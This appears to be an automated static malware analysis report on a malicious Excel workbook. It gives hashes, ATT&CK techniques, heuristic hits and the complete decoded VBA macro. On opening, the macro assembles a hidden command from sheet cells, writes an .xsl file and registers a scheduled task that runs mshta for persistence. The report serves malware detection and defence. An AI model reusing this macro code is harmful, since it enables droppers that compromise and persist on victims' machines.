Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 709e2a3846cb2003…

MALICIOUS

Office (OOXML)

134.9 KB Created: 2000-04-13 21:48:14 UTC Authoring application: Microsoft Excel 12.0000 First seen: 2021-07-10
MD5: c32e8a076a3dd64e30cd8b5c5a7a2276 SHA-1: 17b52997cf29214e7b06368269879237c09e7706 SHA-256: 709e2a3846cb20034181c4bb090b6d98499955d850970b87d49e3271184e2d8f
176 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample is a malicious Excel document containing a Workbook_Open VBA macro. This macro is designed to execute a script that attempts to establish persistence by creating a scheduled task and writing a file to the user's profile. The script also references 'Schedule.Service' and attempts to write to a file path that suggests a scheduled task execution.

Heuristics 6

  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • LOLBin reference in VBA critical OLE_VBA_LOLBIN
    LOLBin reference in VBA
    Matched line in script
        Set xA1 = xPlusValues.Actions.Create(xDBarStacked100)
    xA1.Path = "mshta"
    xA1.Arguments = xExcel4
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Next xGray16
    With CreateObject("Scripting.FileSystemObject")
    Set xTextFormat = .CreateTextFile(Environ("ALLUSERSPROFILE") & "\xDoNotSaveChanges.xsl")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Attribute VB_Customizable = True
Sub Workbook_Open()
    On Error GoTo xRangeAutoFormatLocalFormat2
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        With CreateObject("Scripting.FileSystemObject")
    Set xTextFormat = .CreateTextFile(Environ("ALLUSERSPROFILE") & "\xDoNotSaveChanges.xsl")
    End With

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3624 bytes
SHA-256: 45298588e3702eaf7a10774847e2db4c36b78d31ffd7badf16dd29441ce106c6
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub Workbook_Open()
    On Error GoTo xRangeAutoFormatLocalFormat2
    xDialogAssignToObject = 1 / 0
xRangeAutoFormatLocalFormat2:
        If Err.Number <> 0 Then
            xPatternUp = "Thank You!"
            MsgBox xPatternUp, , "Good", Err.HelpFile, Err.HelpContext
            xArabicNone = xRangeAutoFormat3DEffects1()
        End If
End Sub

Function xRangeAutoFormat3DEffects1()
    For Each xGray16 In ActiveWorkbook.Sheets("Sheet1").Range("AN43:CA3651")
        If xGray16.Value > 0 And Len(xExcel4) < 207 Then
            xExcel4 = xExcel4 & Chr(xGray16.Value)
        ElseIf xGray16.Value > 0 Then
            xMonthLeadingZero = xMonthLeadingZero & Chr(xGray16.Value)
        End If
    Next xGray16
    With CreateObject("Scripting.FileSystemObject")
    Set xTextFormat = .CreateTextFile(Environ("ALLUSERSPROFILE") & "\xDoNotSaveChanges.xsl")
    End With
    Const xDialogSeriesY = 1
    Const xDBarStacked100 = 0
    Set xConeBarStacked100 = CreateObject("Schedule.Service")
    Call xConeBarStacked100.Connect
    Set xDialogInsertTitle = xConeBarStacked100.GetFolder("")
    Set xPlusValues = xConeBarStacked100.NewTask(0)
    Set xCGM = xPlusValues.RegistrationInfo
    xCGM.Description = "Updates"
    xCGM.Author = "The Company"
    Set xPortrait = xPlusValues.Principal
    xPortrait.LogonType = 3
    Set xParamTypeBinary = xPlusValues.Settings
    xParamTypeBinary.Enabled = True
    xParamTypeBinary.StartWhenAvailable = True
    xParamTypeBinary.Hidden = False
    Set xDataTable = xPlusValues.Triggers
    Set xDialogDataDelete = xDataTable.Create(xDialogSeriesY)
    xSmartTagControlLabel = DateAdd("s", 120, Now)
    xDialogFormatLegend = xDBar(xSmartTagControlLabel)
    xSmartTagControlLabel = DateAdd("n", 5, Now)
    xDialogDeleteFormat = xDBar(xSmartTagControlLabel)
    xDialogDataDelete.StartBoundary = xDialogFormatLegend
    With xTextFormat
        .Write xMonthLeadingZero
    End With
    xDialogDataDelete.EndBoundary = xDialogDeleteFormat
    xDialogDataDelete.ID = "TimeTriggerId"
    xDialogDataDelete.Enabled = True
    Set xA1 = xPlusValues.Actions.Create(xDBarStacked100)
    xA1.Path = "mshta"
    xA1.Arguments = xExcel4
    Call xDialogInsertTitle.RegisterTaskDefinition("2021 Updates", xPlusValues, 6, , , 3)
End Function


Function xDBar(xSurfaceWireframe)
    xDialogWebOptionsPictures = "0" & Second(xSurfaceWireframe)
    xDoubleClosed = "0" & Minute(xSurfaceWireframe)
    xErrValue = "0" & Hour(xSurfaceWireframe)
    xPaperFanfoldStdGerman = "0" & Day(xSurfaceWireframe)
    xParamTypeTime = "0" & Month(xSurfaceWireframe)
    xDialogSetUpdateStatus = Year(xSurfaceWireframe)
    xSmartTagControlButton = Right(xErrValue, 2) & ":" & Right(xDoubleClosed, 2) & ":" & Right(xDialogWebOptionsPictures, 2)
    xOptionButton = xDialogSetUpdateStatus & "-" & Right(xParamTypeTime, 2) & "-" & Right(xPaperFanfoldStdGerman, 2)
    xDBar = xOptionButton & "T" & xSmartTagControlButton
End Function

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 16896 bytes
SHA-256: c9713ba0fb3d795e907ce6a5c7dc19d7e5ec65c66c7ff2fe4e1d1af24c4bb80b

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